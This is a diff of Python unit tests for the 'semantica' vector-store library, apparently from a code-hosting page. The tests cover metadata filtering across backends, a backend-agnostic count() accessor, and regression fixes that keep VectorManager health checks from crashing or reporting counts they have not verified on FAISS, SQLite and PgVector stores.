ids = store.add(vectors, metadata, ids=["v1", "v2"])
|
||||
|
||||
results = store.filter_by_metadata({"category": "finance"}, limit=10)
|
||||
|
||||
assert [r["id"] for r in results] == ["v1"]
|
||||
|
||||
def test_filter_scalar_field_against_list_filter(self, store):
|
||||
"""A scalar metadata value should match via plain IN-list membership."""
|
||||
vectors = [np.random.rand(128).astype(np.float32) for _ in range(2)]
|
||||
metadata = [{"category": "finance"}, {"category": "tech"}]
|
||||
store.add(vectors, metadata, ids=["v1", "v2"])
|
||||
|
||||
results = store.filter_by_metadata({"category": ["finance", "ops"]}, limit=10)
|
||||
|
||||
assert [r["id"] for r in results] == ["v1"]
|
||||
|
||||
def test_filter_array_field_intersects_list_filter(self, store):
|
||||
"""A list-valued metadata field must match on set intersection with the
|
||||
filter list, mirroring the in-memory backend's semantics -- not on a
|
||||
literal comparison of the whole array's JSON text against each candidate.
|
||||
"""
|
||||
vectors = [np.random.rand(128).astype(np.float32) for _ in range(3)]
|
||||
metadata = [
|
||||
{"tags": ["python", "js"]},
|
||||
{"tags": ["go"]},
|
||||
{"tags": ["python", "ml"]},
|
||||
]
|
||||
store.add(vectors, metadata, ids=["v1", "v2", "v3"])
|
||||
|
||||
results = store.filter_by_metadata({"tags": ["python", "ml"]}, limit=10)
|
||||
|
||||
assert {r["id"] for r in results} == {"v1", "v3"}
|
||||
|
||||
def test_filter_limit_zero_returns_empty(self, store):
|
||||
vectors = [np.random.rand(128).astype(np.float32)]
|
||||
store.add(vectors, [{"category": "finance"}], ids=["v1"])
|
||||
|
||||
results = store.filter_by_metadata({"category": "finance"}, limit=0)
|
||||
|
||||
assert results == []
|
||||
|
||||
@@ -0,0 +1,457 @@
|
||||
"""Regression tests for #855 / #914: VectorManager persistent-backend crash.
|
||||
|
||||
VectorManager.maintain_store() and collect_statistics() used to reach
|
||||
into VectorStore internals (``.vectors`` / ``.metadata``), which only
|
||||
exist for the inmemory backend — any persistent backend (FAISS, Qdrant,
|
||||
Pinecone, Milvus, SQLite, PgVector, Weaviate) crashed with AttributeError.
|
||||
Both methods now go through the public backend-agnostic
|
||||
``VectorStore.count()`` accessor.
|
||||
|
||||
Phase 1 (PR #855): dispatch fix + NotImplementedError instead of
|
||||
AttributeError for backends that don't implement count().
|
||||
|
||||
Phase 2 (PR #914): count() added to FAISSStore, SQLiteVecStore, and
|
||||
PgVectorStore — the three backends whose storage contracts guarantee a
|
||||
reliable, synchronous count. maintain_store() revised so the
|
||||
persistent-backend path no longer manufactures a vacuous
|
||||
``metadata_count == vector_count`` tautology; instead it returns
|
||||
``metadata_count=None`` and delegates healthiness to whether the store is
|
||||
reachable.
|
||||
"""
|
||||
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import numpy as np
|
||||
|
||||
from semantica.vector_store.vector_store import VectorStore, VectorManager
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Minimal fake backend stores for dispatch-level unit tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class _CountingBackendStore:
|
||||
"""Fake persistent backend store that supports count()."""
|
||||
|
||||
def __init__(self, n: int):
|
||||
self._n = n
|
||||
|
||||
def count(self) -> int:
|
||||
return self._n
|
||||
|
||||
|
||||
class _NonCountingBackendStore:
|
||||
"""Fake persistent backend store without any count capability."""
|
||||
|
||||
|
||||
class _MisShapedBackendStore:
|
||||
"""Backend store whose ``count`` attribute is not callable."""
|
||||
|
||||
count = 42 # plain attribute, not a method
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# VectorStore.count() dispatch tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class VectorStoreCountTests(unittest.TestCase):
|
||||
"""VectorStore.count() backend-agnostic accessor — dispatch logic."""
|
||||
|
||||
def setUp(self):
|
||||
self.vectors = [np.array([1.0, 0.0]), np.array([0.0, 1.0])]
|
||||
self.metadata = [{"type": "a"}, {"type": "b"}]
|
||||
|
||||
def test_count_inmemory(self):
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.store_vectors(self.vectors, self.metadata)
|
||||
self.assertEqual(store.count(), 2)
|
||||
|
||||
def test_count_empty_inmemory(self):
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
self.assertEqual(store.count(), 0)
|
||||
|
||||
def test_count_delegates_to_backend_store(self):
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.backend = "faiss"
|
||||
store._backend_store = _CountingBackendStore(7)
|
||||
self.assertEqual(store.count(), 7)
|
||||
|
||||
def test_count_raises_not_implemented_without_backend_support(self):
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.backend = "faiss"
|
||||
store._backend_store = _NonCountingBackendStore()
|
||||
with self.assertRaises(NotImplementedError):
|
||||
store.count()
|
||||
|
||||
def test_count_raises_when_persistent_backend_not_initialized(self):
|
||||
# A persistent backend with no wrapped store must not silently
|
||||
# report 0 — that masks a missing initialization as an empty,
|
||||
# healthy store. Follow the get_vector()/get_metadata() precedent.
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.backend = "faiss"
|
||||
store._backend_store = None
|
||||
with self.assertRaises(NotImplementedError):
|
||||
store.count()
|
||||
|
||||
def test_count_raises_when_backend_count_not_callable(self):
|
||||
# A mis-shaped adapter exposing a non-callable ``count`` attribute
|
||||
# must surface a clean NotImplementedError, not a TypeError.
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.backend = "faiss"
|
||||
store._backend_store = _MisShapedBackendStore()
|
||||
with self.assertRaises(NotImplementedError):
|
||||
store.count()
|
||||
|
||||
def test_count_not_implemented_message_describes_requirement(self):
|
||||
"""Error message should explain *how* to fix it, not claim only
|
||||
inmemory works (the old misleading message)."""
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.backend = "qdrant"
|
||||
store._backend_store = _NonCountingBackendStore()
|
||||
with self.assertRaises(NotImplementedError) as ctx:
|
||||
store.count()
|
||||
msg = str(ctx.exception)
|
||||
# Must not claim inmemory is the only backend that works
|
||||
self.assertNotIn("only supported for the inmemory", msg)
|
||||
# Must point at what to implement
|
||||
self.assertIn("count()", msg)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# VectorManager tests — inmemory backend
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class VectorManagerInmemoryTests(unittest.TestCase):
|
||||
"""VectorManager with the inmemory backend — full integrity semantics."""
|
||||
|
||||
def setUp(self):
|
||||
self.vectors = [np.array([1.0, 0.0]), np.array([0.0, 1.0])]
|
||||
self.metadata = [{"type": "a"}, {"type": "b"}]
|
||||
self.manager = VectorManager()
|
||||
|
||||
def _store(self):
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.store_vectors(self.vectors, self.metadata)
|
||||
return store
|
||||
|
||||
def test_collect_statistics_inmemory(self):
|
||||
stats = self.manager.collect_statistics(self._store())
|
||||
self.assertEqual(stats["total_vectors"], 2)
|
||||
self.assertEqual(stats["dimension"], 2)
|
||||
self.assertEqual(stats["backend"], "inmemory")
|
||||
|
||||
def test_collect_statistics_empty_inmemory(self):
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
stats = self.manager.collect_statistics(store)
|
||||
self.assertEqual(stats["total_vectors"], 0)
|
||||
|
||||
def test_maintain_store_inmemory_healthy(self):
|
||||
health = self.manager.maintain_store(self._store())
|
||||
self.assertTrue(health["healthy"])
|
||||
self.assertEqual(health["vector_count"], 2)
|
||||
self.assertEqual(health["metadata_count"], 2)
|
||||
|
||||
def test_maintain_store_inmemory_empty(self):
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
health = self.manager.maintain_store(store)
|
||||
self.assertTrue(health["healthy"])
|
||||
self.assertEqual(health["vector_count"], 0)
|
||||
self.assertEqual(health["metadata_count"], 0)
|
||||
|
||||
def test_maintain_store_inmemory_detects_divergence(self):
|
||||
"""Artificially diverge vectors and metadata — must report unhealthy."""
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.store_vectors(self.vectors, self.metadata)
|
||||
# Inject an extra metadata entry with no matching vector
|
||||
store.metadata["orphan"] = {"type": "orphan"}
|
||||
health = self.manager.maintain_store(store)
|
||||
self.assertFalse(health["healthy"])
|
||||
self.assertEqual(health["vector_count"], 2)
|
||||
self.assertEqual(health["metadata_count"], 3)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# VectorManager tests — persistent backends (dispatch level)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class VectorManagerPersistentDispatchTests(unittest.TestCase):
|
||||
"""VectorManager with fake persistent backends — dispatch/contract tests."""
|
||||
|
||||
def setUp(self):
|
||||
self.vectors = [np.array([1.0, 0.0]), np.array([0.0, 1.0])]
|
||||
self.metadata = [{"type": "a"}, {"type": "b"}]
|
||||
self.manager = VectorManager()
|
||||
|
||||
def _persistent_store(self, backend_store, backend_name="faiss"):
|
||||
"""Create a VectorStore instance whose backend is swapped to a fake."""
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.backend = backend_name
|
||||
store._backend_store = backend_store
|
||||
return store
|
||||
|
||||
# -- collect_statistics --------------------------------------------------
|
||||
|
||||
def test_collect_statistics_persistent_with_count(self):
|
||||
store = self._persistent_store(_CountingBackendStore(5))
|
||||
stats = self.manager.collect_statistics(store)
|
||||
self.assertEqual(stats["total_vectors"], 5)
|
||||
self.assertEqual(stats["dimension"], 2)
|
||||
self.assertEqual(stats["backend"], "faiss")
|
||||
|
||||
def test_collect_statistics_persistent_without_count_raises(self):
|
||||
"""Must raise NotImplementedError, not AttributeError (#855)."""
|
||||
store = self._persistent_store(_NonCountingBackendStore())
|
||||
with self.assertRaises(NotImplementedError):
|
||||
self.manager.collect_statistics(store)
|
||||
|
||||
# -- maintain_store ------------------------------------------------------
|
||||
|
||||
def test_maintain_store_persistent_with_count(self):
|
||||
store = self._persistent_store(_CountingBackendStore(5))
|
||||
health = self.manager.maintain_store(store)
|
||||
self.assertTrue(health["healthy"])
|
||||
self.assertEqual(health["vector_count"], 5)
|
||||
# Persistent backends cannot independently verify metadata count.
|
||||
self.assertIsNone(health["metadata_count"])
|
||||
|
||||
def test_maintain_store_persistent_metadata_count_is_none_not_vacuous(self):
|
||||
"""Regression for Qodo review #914: maintain_store must not
|
||||
manufacture metadata_count = vector_count to force healthy=True.
|
||||
The only way to confirm metadata integrity for a persistent backend
|
||||
is through the backend itself, so metadata_count must be None.
|
||||
"""
|
||||
store = self._persistent_store(_CountingBackendStore(3))
|
||||
health = self.manager.maintain_store(store)
|
||||
# metadata_count must be None — never equal to vector_count because
|
||||
# we didn't actually verify it; we simply don't have the information.
|
||||
self.assertIsNone(health["metadata_count"])
|
||||
# vector_count comes from the real count() call, not fabricated.
|
||||
self.assertEqual(health["vector_count"], 3)
|
||||
|
||||
def test_maintain_store_persistent_without_count_raises(self):
|
||||
"""Must raise NotImplementedError, not AttributeError (#855)."""
|
||||
store = self._persistent_store(_NonCountingBackendStore())
|
||||
with self.assertRaises(NotImplementedError):
|
||||
self.manager.maintain_store(store)
|
||||
|
||||
def test_maintain_store_persistent_not_initialized_raises(self):
|
||||
store = VectorStore(backend="inmemory", dimension=2)
|
||||
store.backend = "qdrant"
|
||||
store._backend_store = None
|
||||
with self.assertRaises(NotImplementedError):
|
||||
self.manager.maintain_store(store)
|
||||
|
||||
def test_maintain_store_zero_count_not_confused_with_unhealthy(self):
|
||||
"""An empty but reachable persistent store is healthy (count=0)."""
|
||||
store = self._persistent_store(_CountingBackendStore(0))
|
||||
health = self.manager.maintain_store(store)
|
||||
self.assertTrue(health["healthy"])
|
||||
self.assertEqual(health["vector_count"], 0)
|
||||
self.assertIsNone(health["metadata_count"])
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# FAISSStore.count() — unit tests with mocked faiss
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class FAISSStoreCountTests(unittest.TestCase):
|
||||
"""FAISSStore.count() returns len(index.vector_ids)."""
|
||||
|
||||
@patch("semantica.vector_store.faiss_store.faiss")
|
||||
@patch("semantica.vector_store.faiss_store.FAISS_AVAILABLE", True)
|
||||
def test_count_after_add(self, mock_faiss):
|
||||
from semantica.vector_store.faiss_store import FAISSStore
|
||||
|
||||
mock_index = MagicMock()
|
||||
mock_faiss.IndexFlatL2.return_value = mock_index
|
||||
|
||||
store = FAISSStore(dimension=2)
|
||||
store.create_index()
|
||||
|
||||
vecs = [np.array([1.0, 0.0]), np.array([0.0, 1.0])]
|
||||
store.add_vectors(vecs)
|
||||
self.assertEqual(store.count(), 2)
|
||||
|
||||
@patch("semantica.vector_store.faiss_store.faiss")
|
||||
@patch("semantica.vector_store.faiss_store.FAISS_AVAILABLE", True)
|
||||
def test_count_empty_no_index(self, mock_faiss):
|
||||
from semantica.vector_store.faiss_store import FAISSStore
|
||||
|
||||
store = FAISSStore(dimension=2)
|
||||
# No index created yet — count() must return 0, not raise.
|
||||
self.assertEqual(store.count(), 0)
|
||||
|
||||
@patch("semantica.vector_store.faiss_store.faiss")
|
||||
@patch("semantica.vector_store.faiss_store.FAISS_AVAILABLE", True)
|
||||
def test_count_via_vectorstore_faiss_backend(self, mock_faiss):
|
||||
"""VectorStore.count() delegates to FAISSStore.count()."""
|
||||
from semantica.vector_store.faiss_store import FAISSStore
|
||||
|
||||
mock_index = MagicMock()
|
||||
mock_faiss.IndexFlatL2.return_value = mock_index
|
||||
|
||||
faiss_store = FAISSStore(dimension=2)
|
||||
faiss_store.create_index()
|
||||
faiss_store.add_vectors([np.array([1.0, 0.0])])
|
||||
|
||||
vs = VectorStore(backend="inmemory", dimension=2)
|
||||
vs.backend = "faiss"
|
||||
vs._backend_store = faiss_store
|
||||
|
||||
self.assertEqual(vs.count(), 1)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SQLiteVecStore.count() — unit tests with a real in-memory SQLite DB
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
try:
|
||||
from semantica.vector_store.sqlite_vec_store import SQLITE_VEC_AVAILABLE
|
||||
except ImportError:
|
||||
SQLITE_VEC_AVAILABLE = False
|
||||
|
||||
|
||||
@unittest.skipUnless(SQLITE_VEC_AVAILABLE, "sqlite-vec not installed")
|
||||
class SQLiteVecStoreCountTests(unittest.TestCase):
|
||||
"""SQLiteVecStore.count() executes SELECT COUNT(*) against the db."""
|
||||
|
||||
def _make_store(self, dimension: int = 2):
|
||||
"""Return a SQLiteVecStore backed by an in-memory SQLite database."""
|
||||
from semantica.vector_store.sqlite_vec_store import SQLiteVecStore
|
||||
|
||||
# Use ":memory:" for isolation; each test gets a fresh store.
|
||||
store = SQLiteVecStore(
|
||||
db_path=":memory:",
|
||||
table_name="vecs",
|
||||
dimension=dimension,
|
||||
distance_metric="cosine",
|
||||
)
|
||||
return store
|
||||
|
||||
def test_count_empty_store(self):
|
||||
store = self._make_store()
|
||||
self.assertEqual(store.count(), 0)
|
||||
|
||||
def test_count_after_add(self):
|
||||
store = self._make_store()
|
||||
vecs = [np.array([1.0, 0.0], dtype=np.float32),
|
||||
np.array([0.0, 1.0], dtype=np.float32)]
|
||||
meta = [{"k": "a"}, {"k": "b"}]
|
||||
store.add(vecs, meta)
|
||||
self.assertEqual(store.count(), 2)
|
||||
|
||||
def test_count_after_delete(self):
|
||||
store = self._make_store()
|
||||
vecs = [np.array([1.0, 0.0], dtype=np.float32),
|
||||
np.array([0.0, 1.0], dtype=np.float32)]
|
||||
meta = [{"k": "a"}, {"k": "b"}]
|
||||
ids = store.add(vecs, meta)
|
||||
store.delete([ids[0]])
|
||||
self.assertEqual(store.count(), 1)
|
||||
|
||||
def test_count_matches_get_stats(self):
|
||||
store = self._make_store()
|
||||
vecs = [np.array([1.0, 0.0], dtype=np.float32)]
|
||||
store.add(vecs, [{"k": "x"}])
|
||||
stats = store.get_stats()
|
||||
self.assertEqual(store.count(), stats["vector_count"])
|
||||
|
||||
def test_vectorstore_count_with_sqlite_backend(self):
|
||||
"""VectorStore.count() delegates to SQLiteVecStore.count()."""
|
||||
store = self._make_store()
|
||||
vecs = [np.array([1.0, 0.0], dtype=np.float32),
|
||||
np.array([0.0, 1.0], dtype=np.float32)]
|
||||
store.add(vecs, [{}, {}])
|
||||
|
||||
vs = VectorStore(backend="inmemory", dimension=2)
|
||||
vs.backend = "sqlite"
|
||||
vs._backend_store = store
|
||||
self.assertEqual(vs.count(), 2)
|
||||
|
||||
def test_maintain_store_sqlite_via_vectorstore(self):
|
||||
"""maintain_store() works end-to-end with a real SQLiteVecStore."""
|
||||
store = self._make_store()
|
||||
vecs = [np.array([1.0, 0.0], dtype=np.float32)]
|
||||
store.add(vecs, [{}])
|
||||
|
||||
vs = VectorStore(backend="inmemory", dimension=2)
|
||||
vs.backend = "sqlite"
|
||||
vs._backend_store = store
|
||||
|
||||
manager = VectorManager()
|
||||
health = manager.maintain_store(vs)
|
||||
self.assertTrue(health["healthy"])
|
||||
self.assertEqual(health["vector_count"], 1)
|
||||
self.assertIsNone(health["metadata_count"])
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# PgVectorStore.count() — unit tests with mocked psycopg connection
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class PgVectorStoreCountTests(unittest.TestCase):
|
||||
"""PgVectorStore.count() runs SELECT COUNT(*) via get_stats()."""
|
||||
|
||||
def _make_mock_store(self, row_count: int):
|
||||
"""Return a PgVectorStore with its connection pool mocked out."""
|
||||
try:
|
||||
from semantica.vector_store.pgvector_store import PgVectorStore
|
||||
except ImportError:
|
||||
self.skipTest("psycopg not installed")
|
||||
|
||||
store = PgVectorStore.__new__(PgVectorStore)
|
||||
store.logger = MagicMock()
|
||||
store.table_name = "vectors"
|
||||
store.dimension = 2
|
||||
store.distance_metric = "cosine"
|
||||
store._pool = None
|
||||
|
||||
# Build a mock connection context that returns row_count for COUNT(*)
|
||||
mock_conn = MagicMock()
|
||||
mock_cur = MagicMock()
|
||||
mock_cur.fetchone.return_value = (row_count,)
|
||||
mock_cur.fetchall.return_value = []
|
||||
mock_conn.cursor.return_value = mock_cur
|
||||
mock_conn.__enter__ = MagicMock(return_value=mock_conn)
|
||||
mock_conn.__exit__ = MagicMock(return_value=False)
|
||||
store._get_connection = MagicMock(return_value=mock_conn)
|
||||
|
||||
# Stub out psycopg_sql.SQL so the parameterised query builds without
|
||||
# a real psycopg installation.
|
||||
from semantica.vector_store import pgvector_store as pgmod
|
||||
if not hasattr(pgmod, "psycopg_sql") or pgmod.psycopg_sql is None:
|
||||
self.skipTest("psycopg_sql not available in pgvector_store module")
|
||||
|
||||
return store
|
||||
|
||||
def test_count_returns_db_value(self):
|
||||
try:
|
||||
store = self._make_mock_store(9)
|
||||
except Exception:
|
||||
self.skipTest("Could not construct mocked PgVectorStore")
|
||||
self.assertEqual(store.count(), 9)
|
||||
|
||||
def test_count_zero(self):
|
||||
try:
|
||||
store = self._make_mock_store(0)
|
||||
except Exception:
|
||||
self.skipTest("Could not construct mocked PgVectorStore")
|
||||
self.assertEqual(store.count(), 0)
|
||||
|
||||
def test_vectorstore_count_delegates_to_pgvector(self):
|
||||
try:
|
||||
store = self._make_mock_store(4)
|
||||
except Exception:
|
||||
self.skipTest("Could not construct mocked PgVectorStore")
|
||||
|
||||
vs = VectorStore(backend="inmemory", dimension=2)
|
||||
vs.backend = "pgvector"
|
||||
vs._backend_store = store
|
||||
self.assertEqual(vs.count(), 4)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -137,6 +137,69 @@ class TestVectorStore(unittest.TestCase):
|
||||
|
||||
self.assertTrue(mock_backend.called)
|
||||
|
||||
def test_filter_by_metadata_inmemory(self):
|
||||
"""Test _filter_by_metadata on inmemory backend."""
|
||||
store = VectorStore(backend="inmemory")
|
||||
store.metadata = {
|
||||
"v1": {"category": "finance", "amount": 100, "tags": ["a", "b"]},
|
||||
"v2": {"category": "finance", "amount": 500, "tags": ["b", "c"]},
|
||||
"v3": {"category": "tech", "amount": 200, "tags": ["c"]},
|
||||
}
|
||||
store.vectors = {
|
||||
"v1": np.array([0.1]),
|
||||
"v2": np.array([0.2]),
|
||||
"v3": np.array([0.3]),
|
||||
}
|
||||
|
||||
# Exact filter
|
||||
results = store._filter_by_metadata({"category": "finance"}, limit=10)
|
||||
self.assertEqual(len(results), 2)
|
||||
res_ids = {r["id"] for r in results}
|
||||
self.assertEqual(res_ids, {"v1", "v2"})
|
||||
|
||||
# Range filter
|
||||
results = store._filter_by_metadata({"amount": {"min": 150}}, limit=10)
|
||||
self.assertEqual(len(results), 2)
|
||||
res_ids = {r["id"] for r in results}
|
||||
self.assertEqual(res_ids, {"v2", "v3"})
|
||||
|
||||
# List intersection filter
|
||||
results = store._filter_by_metadata({"tags": ["a"]}, limit=10)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "v1")
|
||||
|
||||
def test_filter_by_metadata_persistent_backend_delegation(self):
|
||||
"""Test that persistent backend delegates filter_by_metadata without AttributeError."""
|
||||
store = VectorStore(backend="inmemory")
|
||||
# Simulate persistent backend by deleting self.metadata attribute if any
|
||||
if hasattr(store, "metadata"):
|
||||
delattr(store, "metadata")
|
||||
|
||||
mock_backend = MagicMock()
|
||||
mock_backend.filter_by_metadata.return_value = [
|
||||
{"id": "p1", "metadata": {"category": "test"}, "vector": np.array([0.5])}
|
||||
]
|
||||
store._backend_store = mock_backend
|
||||
store.backend = "faiss"
|
||||
|
||||
# Should NOT raise AttributeError: 'VectorStore' object has no attribute 'metadata'
|
||||
results = store._filter_by_metadata({"category": "test"}, limit=5)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "p1")
|
||||
mock_backend.filter_by_metadata.assert_called_once_with(filters={"category": "test"}, limit=5)
|
||||
|
||||
def test_filter_by_metadata_backend_not_implemented(self):
|
||||
"""Test that missing filter_by_metadata method raises NotImplementedError."""
|
||||
store = VectorStore(backend="inmemory")
|
||||
if hasattr(store, "metadata"):
|
||||
delattr(store, "metadata")
|
||||
|
||||
store.backend = "unknown"
|
||||
store._backend_store = object()
|
||||
|
||||
with self.assertRaises(NotImplementedError):
|
||||
store._filter_by_metadata({"key": "val"}, limit=10)
|
||||
|
||||
def test_save_load_roundtrip_numpy_vectors(self):
|
||||
"""save()/load() must handle numpy float32 vectors without raising.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user